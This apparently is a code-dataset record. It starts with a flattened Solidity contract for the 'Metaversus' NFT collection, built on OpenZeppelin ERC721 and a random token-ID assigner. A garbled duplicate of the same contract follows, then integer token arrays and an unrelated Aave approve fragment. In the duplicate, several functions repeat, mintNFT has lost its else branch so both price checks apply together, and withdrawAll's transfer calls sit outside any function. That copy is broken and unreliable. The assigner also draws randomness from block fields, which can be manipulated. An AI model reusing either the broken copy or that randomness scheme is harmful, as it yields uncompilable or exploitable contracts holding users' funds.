// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
/// @author 1001.digital
/// @title A token tracker that limits the token supply and increments token IDs on each new mint.
abstract contract WithLimitedSupply {
using Counters for Counters.Counter;
// Keeps track of how many we have minted
Counters.Counter private _tokenCount;
/// @dev The maximum count of tokens this token tracker will hold.
uint256 private _maxSupply;
/// Instanciate the contract
/// @param maxSupply_ how many tokens this collection should hold
constructor (uint256 maxSupply_) {
_maxSupply = maxSupply_;
}
/// @dev Get the max Supply
/// @return the maximum token count
function maxSupply() public view returns (uint256) {
return _maxSupply;
}
/// @dev Get the current token count
/// @return the created token count
function tokenCount() public view returns (uint256) {
return _tokenCount.current();
}
/// @dev Check whether tokens are still available
/// @return the available token count
function availableTokenCount() public view returns (uint256) {
return maxSupply() - tokenCount();
}
/// @dev Increment the token count and fetch the latest count
/// @return the next token id
function nextToken() internal virtual ensureAvailability returns (uint256) {
uint256 token = _tokenCount.current();
_tokenCount.increment();
return token;
}
/// @dev Check whether another token is still available
modifier ensureAvailability() {
require(availableTokenCount() > 0, "No more tokens available");
_;
}
/// @param amount Check whether number of tokens are still available
/// @dev Check whether tokens are still available
modifier ensureAvailabilityFor(uint256 amount) {
require(availableTokenCount() >= amount, "Requested number of tokens not available");
_;
}
}
/// @author 1001.digital
/// @title Randomly assign tokenIDs from a given set of tokens.
abstract contract RandomlyAssigned is WithLimitedSupply {
// Used for random index assignment
mapping(uint256 => uint256) private tokenMatrix;
// The initial token ID
uint256 private startFrom;
/// Instanciate the contract
/// @param _totalSupply how many tokens this collection should hold
/// @param _startFrom the tokenID with which to start counting
constructor (uint256 _totalSupply, uint256 _startFrom)
WithLimitedSupply(_totalSupply)
{
startFrom = _startFrom;
}
/// Get the next token ID
/// @dev Randomly gets a new token ID and keeps track of the ones that are still available.
/// @return the next token ID
function nextToken() internal override ensureAvailability returns (uint256) {
uint256 maxIndex = maxSupply() - tokenCount();
uint256 random = uint256(keccak256(
abi.encodePacked(
msg.sender,
block.coinbase,
block.difficulty,
block.gaslimit,
block.timestamp
)
)) % maxIndex;
uint256 value = 0;
if (tokenMatrix[random] == 0) {
// If this matrix position is empty, set the value to the generated random number.
value = random;
} else {
// Otherwise, use the previously stored number from the matrix.
value = tokenMatrix[random];
}
// If the last available tokenID is still unused...
if (tokenMatrix[maxIndex - 1] == 0) {
// ...store that ID in the current matrix position.
tokenMatrix[random] = maxIndex - 1;
} else {
// ...otherwise copy over the stored number to the current matrix position.
tokenMatrix[random] = tokenMatrix[maxIndex - 1];
}
// Increment counts
super.nextToken();
return value + startFrom;
}
}
// File: contracts/Metaversus.sol
pragma solidity ^0.8.0;
/**
* @title Metaversus contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract Metaversus is ERC721, ERC721Enumerable, Ownable, RandomlyAssigned {
uint256 public MAX_NFT_SUPPLY = 8888;
// uint256 public RESERVED_NFT = 6000;
uint256 public NFT_PRICE = 0.18 ether;
uint256 public NFT_PRICE_PRESALE = 0.09 ether;
uint256 public MAX_NFT_WALLET_PRESALE = 3;
uint256 public MAX_NFT_WALLET = 10;
bool public saleIsActive = false;
uint256 public publicSaleStartTimestamp;
string public baseTokenURI;
mapping(address => bool) private whitelisted;
event BaseURIChanged(string baseURI);
event ReserveSaleMint(address minter, uint256 amountOfNFTs);
event FinalSaleMint(address minter, uint256 amountOfNFTs);
constructor(uint256 _publicSaleStartTimestamp) ERC721("Metaversus NFT", "MV") RandomlyAssigned(MAX_NFT_SUPPLY, 1)
{
// baseTokenURI = baseURI;
publicSaleStartTimestamp = _publicSaleStartTimestamp;
}
function addToWhitelist(address[] calldata addresses) external onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Cannot add null address");
whitelisted[addresses[i]] = true;
}
}
function removeFromWhitelist(address[] calldata addresses) external onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Cannot add null address");
whitelisted[addresses[i]] = false;
}
}
function checkIfWhitelisted(address addr) external view returns (bool) {
return whitelisted[addr];
}
function reserveNFT(uint256 amountOfNFTs) public onlyOwner {
for (uint i = 0; i < amountOfNFTs; i++) {
uint256 tokenId = nextToken();
_safeMint(msg.sender, tokenId);
}
}
function mintNFT(uint256 amountOfNFTs) external payable {
require(saleIsActive, "Sale must be active to mint NFT");
require(tokenCount() + amountOfNFTs <= MAX_NFT_SUPPLY, "Minting would exceed max supply");
if(hasFinalSaleStarted()) {
require(NFT_PRICE * amountOfNFTs == msg.value, "ETH amount is incorrect");
require(balanceOf(msg.sender) + amountOfNFTs <= MAX_NFT_WALLET, "Purchase exceeds max allowed per wallet");
} else {
require(NFT_PRICE_PRESALE * amountOfNFTs == msg.value, "ETH amount is incorrect");
require(balanceOf(msg.sender) + amountOfNFTs <= MAX_NFT_WALLET_PRESALE, "Purchase exceeds max allowed per wallet");
}
for (uint256 i = 0; i < amountOfNFTs; i++) {
uint256 tokenId = nextToken();
_safeMint(msg.sender, tokenId);
}
emit FinalSaleMint(msg.sender, amountOfNFTs);
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function hasFinalSaleStarted() public view returns(bool){
return (block.timestamp >= publicSaleStartTimestamp) ? true : false;
}
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
emit BaseURIChanged(baseURI);
}
function setPublicSaleStartTimestamp(uint256 _amount) external onlyOwner {
publicSaleStartTimestamp = _amount;
}
function setNFT_PRICE(uint256 _amount) external onlyOwner {
NFT_PRICE = _amount;
}
function setNFT_PRICE_PRESALE(uint256 _amount) external onlyOwner {
NFT_PRICE_PRESALE = _amount;
}
function setMAX_NFT_WALLET(uint256 _amount) external onlyOwner {
MAX_NFT_WALLET = _amount;
}
function setMAX_NFT_WALLET_PRESALE(uint256 _amount) external onlyOwner {
MAX_NFT_WALLET_PRESALE = _amount;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
function withdrawAll() public onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0, "Insufficent balance");
uint256 AhmedBal = (balance * 25) / 100;
uint256 Addr1 = (balance * 5) / 100;
uint256 Addr2 = (balance * 35) / 100;
uint256 Addr3 = (balance * 35) / 100;
(bool success, ) = payable(0x692C9da6fACb65DCB092f036c753577379849068).call{value: AhmedBal}("");
require(success, "Transfer failed to Ahmed");
(bool success1, ) = payable(0x56cFf5fbBDE83a195aa8d8a38550bE8438617975).call{value: Addr1}("");
require(success1, "Transfer failed to Addr1");
(bool success2, ) = payable(0x4c8FeB3e02C67408d36c663Ad868d215B1B3239E).call{value: Addr2}("");
require(success2, "Transfer failed to Addr2");
(bool success3, ) = payable(0x97eD2321e644659E7a8d5aAf5f26a44a4225C652).call{value: Addr3}("");
require(success3, "Transfer failed to Addr3");
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return
super.supportsInterface(interfaceId);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
} | * @title Metaversus contract @dev Extends ERC721 Non-Fungible Token Standard basic implementation/ uint256 public RESERVED_NFT = 6000; | contract Metaversus is ERC721, ERC721Enumerable, Ownable, RandomlyAssigned {
uint256 public MAX_NFT_SUPPLY = 8888;
uint256 public NFT_PRICE = 0.18 ether;
uint256 public NFT_PRICE_PRESALE = 0.09 ether;
uint256 public MAX_NFT_WALLET_PRESALE = 3;
uint256 public MAX_NFT_WALLET = 10;
bool public saleIsActive = false;
uint256 public publicSaleStartTimestamp;
string public baseTokenURI;
mapping(address => bool) private whitelisted;
event BaseURIChanged(string baseURI);
event ReserveSaleMint(address minter, uint256 amountOfNFTs);
event FinalSaleMint(address minter, uint256 amountOfNFTs);
constructor(uint256 _publicSaleStartTimestamp) ERC721("Metaversus NFT", "MV") RandomlyAssigned(MAX_NFT_SUPPLY, 1)
{
publicSaleStartTimestamp = _publicSaleStartTimestamp;
}
function addToWhitelist(address[] calldata addresses) external onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Cannot add null address");
whitelisted[addresses[i]] = true;
}
}
function addToWhitelist(address[] calldata addresses) external onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Cannot add null address");
whitelisted[addresses[i]] = true;
}
}
function removeFromWhitelist(address[] calldata addresses) external onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Cannot add null address");
whitelisted[addresses[i]] = false;
}
}
function removeFromWhitelist(address[] calldata addresses) external onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Cannot add null address");
whitelisted[addresses[i]] = false;
}
}
function checkIfWhitelisted(address addr) external view returns (bool) {
return whitelisted[addr];
}
function reserveNFT(uint256 amountOfNFTs) public onlyOwner {
for (uint i = 0; i < amountOfNFTs; i++) {
uint256 tokenId = nextToken();
_safeMint(msg.sender, tokenId);
}
}
function reserveNFT(uint256 amountOfNFTs) public onlyOwner {
for (uint i = 0; i < amountOfNFTs; i++) {
uint256 tokenId = nextToken();
_safeMint(msg.sender, tokenId);
}
}
function mintNFT(uint256 amountOfNFTs) external payable {
require(saleIsActive, "Sale must be active to mint NFT");
require(tokenCount() + amountOfNFTs <= MAX_NFT_SUPPLY, "Minting would exceed max supply");
if(hasFinalSaleStarted()) {
require(NFT_PRICE * amountOfNFTs == msg.value, "ETH amount is incorrect");
require(balanceOf(msg.sender) + amountOfNFTs <= MAX_NFT_WALLET, "Purchase exceeds max allowed per wallet");
require(NFT_PRICE_PRESALE * amountOfNFTs == msg.value, "ETH amount is incorrect");
require(balanceOf(msg.sender) + amountOfNFTs <= MAX_NFT_WALLET_PRESALE, "Purchase exceeds max allowed per wallet");
}
for (uint256 i = 0; i < amountOfNFTs; i++) {
uint256 tokenId = nextToken();
_safeMint(msg.sender, tokenId);
}
emit FinalSaleMint(msg.sender, amountOfNFTs);
}
function mintNFT(uint256 amountOfNFTs) external payable {
require(saleIsActive, "Sale must be active to mint NFT");
require(tokenCount() + amountOfNFTs <= MAX_NFT_SUPPLY, "Minting would exceed max supply");
if(hasFinalSaleStarted()) {
require(NFT_PRICE * amountOfNFTs == msg.value, "ETH amount is incorrect");
require(balanceOf(msg.sender) + amountOfNFTs <= MAX_NFT_WALLET, "Purchase exceeds max allowed per wallet");
require(NFT_PRICE_PRESALE * amountOfNFTs == msg.value, "ETH amount is incorrect");
require(balanceOf(msg.sender) + amountOfNFTs <= MAX_NFT_WALLET_PRESALE, "Purchase exceeds max allowed per wallet");
}
for (uint256 i = 0; i < amountOfNFTs; i++) {
uint256 tokenId = nextToken();
_safeMint(msg.sender, tokenId);
}
emit FinalSaleMint(msg.sender, amountOfNFTs);
}
} else {
function mintNFT(uint256 amountOfNFTs) external payable {
require(saleIsActive, "Sale must be active to mint NFT");
require(tokenCount() + amountOfNFTs <= MAX_NFT_SUPPLY, "Minting would exceed max supply");
if(hasFinalSaleStarted()) {
require(NFT_PRICE * amountOfNFTs == msg.value, "ETH amount is incorrect");
require(balanceOf(msg.sender) + amountOfNFTs <= MAX_NFT_WALLET, "Purchase exceeds max allowed per wallet");
require(NFT_PRICE_PRESALE * amountOfNFTs == msg.value, "ETH amount is incorrect");
require(balanceOf(msg.sender) + amountOfNFTs <= MAX_NFT_WALLET_PRESALE, "Purchase exceeds max allowed per wallet");
}
for (uint256 i = 0; i < amountOfNFTs; i++) {
uint256 tokenId = nextToken();
_safeMint(msg.sender, tokenId);
}
emit FinalSaleMint(msg.sender, amountOfNFTs);
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function hasFinalSaleStarted() public view returns(bool){
return (block.timestamp >= publicSaleStartTimestamp) ? true : false;
}
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
emit BaseURIChanged(baseURI);
}
function setPublicSaleStartTimestamp(uint256 _amount) external onlyOwner {
publicSaleStartTimestamp = _amount;
}
function setNFT_PRICE(uint256 _amount) external onlyOwner {
NFT_PRICE = _amount;
}
function setNFT_PRICE_PRESALE(uint256 _amount) external onlyOwner {
NFT_PRICE_PRESALE = _amount;
}
function setMAX_NFT_WALLET(uint256 _amount) external onlyOwner {
MAX_NFT_WALLET = _amount;
}
function setMAX_NFT_WALLET_PRESALE(uint256 _amount) external onlyOwner {
MAX_NFT_WALLET_PRESALE = _amount;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
function withdrawAll() public onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0, "Insufficent balance");
uint256 AhmedBal = (balance * 25) / 100;
uint256 Addr1 = (balance * 5) / 100;
uint256 Addr2 = (balance * 35) / 100;
uint256 Addr3 = (balance * 35) / 100;
require(success, "Transfer failed to Ahmed");
require(success1, "Transfer failed to Addr1");
require(success2, "Transfer failed to Addr2");
require(success3, "Transfer failed to Addr3");
}
(bool success, ) = payable(0x692C9da6fACb65DCB092f036c753577379849068).call{value: AhmedBal}("");
(bool success1, ) = payable(0x56cFf5fbBDE83a195aa8d8a38550bE8438617975).call{value: Addr1}("");
(bool success2, ) = payable(0x4c8FeB3e02C67408d36c663Ad868d215B1B3239E).call{value: Addr2}("");
(bool success3, ) = payable(0x97eD2321e644659E7a8d5aAf5f26a44a4225C652).call{value: Addr3}("");
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return
super.supportsInterface(interfaceId);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
} | 10,992,832 | [
1,
12244,
22994,
407,
6835,
225,
6419,
5839,
4232,
39,
27,
5340,
3858,
17,
42,
20651,
1523,
3155,
8263,
5337,
4471,
19,
2254,
5034,
1071,
2438,
19501,
67,
50,
4464,
273,
1666,
3784,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
21604,
22994,
407,
353,
4232,
39,
27,
5340,
16,
4232,
39,
27,
5340,
3572,
25121,
16,
14223,
6914,
16,
8072,
715,
20363,
288,
203,
203,
565,
2254,
5034,
1071,
4552,
67,
50,
4464,
67,
13272,
23893,
273,
1725,
5482,
28,
31,
203,
203,
565,
2254,
5034,
1071,
423,
4464,
67,
7698,
1441,
273,
374,
18,
2643,
225,
2437,
31,
203,
565,
2254,
5034,
1071,
423,
4464,
67,
7698,
1441,
67,
3670,
5233,
900,
273,
374,
18,
5908,
225,
2437,
31,
203,
377,
203,
565,
2254,
5034,
1071,
4552,
67,
50,
4464,
67,
59,
1013,
15146,
67,
3670,
5233,
900,
273,
890,
31,
203,
565,
2254,
5034,
1071,
4552,
67,
50,
4464,
67,
59,
1013,
15146,
273,
1728,
31,
203,
203,
565,
1426,
1071,
272,
5349,
2520,
3896,
273,
629,
31,
203,
203,
565,
2254,
5034,
1071,
1071,
30746,
1685,
4921,
31,
203,
565,
533,
1071,
1026,
1345,
3098,
31,
203,
377,
203,
565,
2874,
12,
2867,
516,
1426,
13,
3238,
26944,
31,
203,
203,
565,
871,
3360,
3098,
5033,
12,
1080,
1026,
3098,
1769,
203,
565,
871,
1124,
6527,
30746,
49,
474,
12,
2867,
1131,
387,
16,
2254,
5034,
3844,
951,
50,
4464,
87,
1769,
203,
565,
871,
16269,
30746,
49,
474,
12,
2867,
1131,
387,
16,
2254,
5034,
3844,
951,
50,
4464,
87,
1769,
203,
203,
565,
3885,
12,
11890,
5034,
389,
482,
30746,
1685,
4921,
13,
4232,
39,
27,
5340,
2932,
12244,
22994,
407,
423,
4464,
3113,
315,
49,
58,
7923,
8072,
715,
20363,
12,
6694,
67,
50,
4464,
67,
13272,
2
] |
./partial_match/1/0x6afE6C37bF75f80D512b9D89C19EC0B346b09a8d/sources/RariFundController.sol | * @dev Approves tokens to Aave without spending gas on every deposit. @param erc20Contract The ERC20 contract address of the token. @param amount Amount of the specified token to approve to Aave./ | function approve(address erc20Contract, uint256 amount) external {
IERC20 token = IERC20(erc20Contract);
uint256 allowance = token.allowance(address(this), LENDING_POOL_CORE_CONTRACT);
if (allowance == amount) return;
if (amount > 0 && allowance > 0) token.safeApprove(LENDING_POOL_CORE_CONTRACT, 0);
token.safeApprove(LENDING_POOL_CORE_CONTRACT, amount);
return;
}
| 2,629,448 | [
1,
12053,
3324,
2430,
358,
432,
836,
2887,
272,
9561,
16189,
603,
3614,
443,
1724,
18,
225,
6445,
71,
3462,
8924,
1021,
4232,
39,
3462,
6835,
1758,
434,
326,
1147,
18,
225,
3844,
16811,
434,
326,
1269,
1147,
358,
6617,
537,
358,
432,
836,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
6617,
537,
12,
2867,
6445,
71,
3462,
8924,
16,
2254,
5034,
3844,
13,
3903,
288,
203,
3639,
467,
654,
39,
3462,
1147,
273,
467,
654,
39,
3462,
12,
12610,
3462,
8924,
1769,
203,
3639,
2254,
5034,
1699,
1359,
273,
1147,
18,
5965,
1359,
12,
2867,
12,
2211,
3631,
511,
12280,
67,
20339,
67,
15715,
67,
6067,
